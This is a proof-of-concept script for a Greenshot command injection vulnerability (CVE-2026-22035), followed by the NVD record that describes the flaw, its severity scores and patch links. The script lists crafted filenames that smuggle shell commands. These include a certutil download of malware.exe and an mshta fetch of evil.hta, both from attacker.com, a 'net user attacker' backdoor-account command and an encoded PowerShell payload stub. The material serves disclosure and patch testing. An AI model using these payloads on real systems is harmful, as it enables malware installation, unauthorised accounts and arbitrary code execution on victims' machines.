CVE-2026-22035

# CVE-2026-22035 PoC - Greenshot Command Injection # Version affected: Greenshot <= 1.3.310 # Fixed in: Greenshot 1.3.311 import os import sys def create_malicious_filename(): """ Create a malicious filename with shell metacharacters to exploit CVE-2026-22035 in Greenshot """ # Shell metacharacters for command injection # Using semicolon to chain commands malicious_names = [ 'screenshot.png;whoami > C:\\temp\\pwned.txt', 'screenshot.png|certutil.exe -urlcache -split -f http://attacker.com/malware.exe', 'screenshot.png`calc.exe`', 'screenshot.png$(powershell -e base64encoded_payload)', 'screenshot.png&&net user attacker P@ssw0rd /add', 'screenshot.png||mshta.exe http://attacker.com/evil.hta' ] return malicious_names def generate_payload(): """ Generate example malicious payload This would create a reverse shell or execute arbitrary code """ payload = ''' # Example: Create a file with execution result # In real attack, this could be: # - Reverse shell connection # - Malware download and execution # - Privilege escalation # - Data exfiltration import os cmd = 'calc.exe' # Simple proof of concept os.system(cmd) ''' return payload def main(): print("CVE-2026-22035 - Greenshot Command Injection PoC") print("=" * 50) print("\nAffected Versions: Greenshot <= 1.3.310") print("Fixed Version: Greenshot 1.3.311") print("\nVulnerable Code Location:") print(" ExternalCommandDestination.cs:269") print(" FormatArguments() method") print("\nMalicious Filenames:") for name in create_malicious_filename(): print(f" - {name}") print("\nNote: User interaction required to save/export screenshot") print("with crafted filename through Greenshot application.") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-22035", "sourceIdentifier": "[email protected]", "published": "2026-01-08T01:15:55.847", "lastModified": "2026-01-27T19:11:58.087", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Greenshot is an open source Windows screenshot utility. Versions 1.3.310 and below arvulnerable to OS Command Injection through unsanitized filename processing. The FormatArguments method in ExternalCommandDestination.cs:269 uses string.Format() to insert user-controlled filenames directly into shell commands without sanitization, allowing attackers to execute arbitrary commands by crafting malicious filenames containing shell metacharacters. This issue is fixed in version 1.3.311."}, {"lang": "es", "value": "Greenshot es una utilidad de captura de pantalla de código abierto para Windows. Las versiones 1.3.310 e inferiores son vulnerables a la inyección de comandos del sistema operativo a través del procesamiento de nombres de archivo no saneados. El método FormatArguments en ExternalCommandDestination.cs:269 utiliza string.Format() para insertar nombres de archivo controlados por el usuario directamente en comandos de shell sin saneamiento, lo que permite a los atacantes ejecutar comandos arbitrarios al crear nombres de archivo maliciosos que contienen metacaracteres de shell. Este problema está corregido en la versión 1.3.311."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:getgreenshot:greenshot:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.3.311", "matchCriteriaId": "964FCC5B-97DF-4775-B17B-8E1FB673B863"}]}]}], "references": [{"url": "https://github.com/greenshot/greenshot/commit/5dedd5c9f0a9896fa0af1d4980d875a48bf432cb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/greenshot/greenshot/releases/tag/v1.3.311", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/greenshot/greenshot/security/advisories/GHSA-7hvw-q8q5-gpmj", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}, {"url": "https://github.com/greenshot/greenshot/security/advisories/GHSA-7hvw-q8q5-gpmj", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory", "Exploit"]}]}}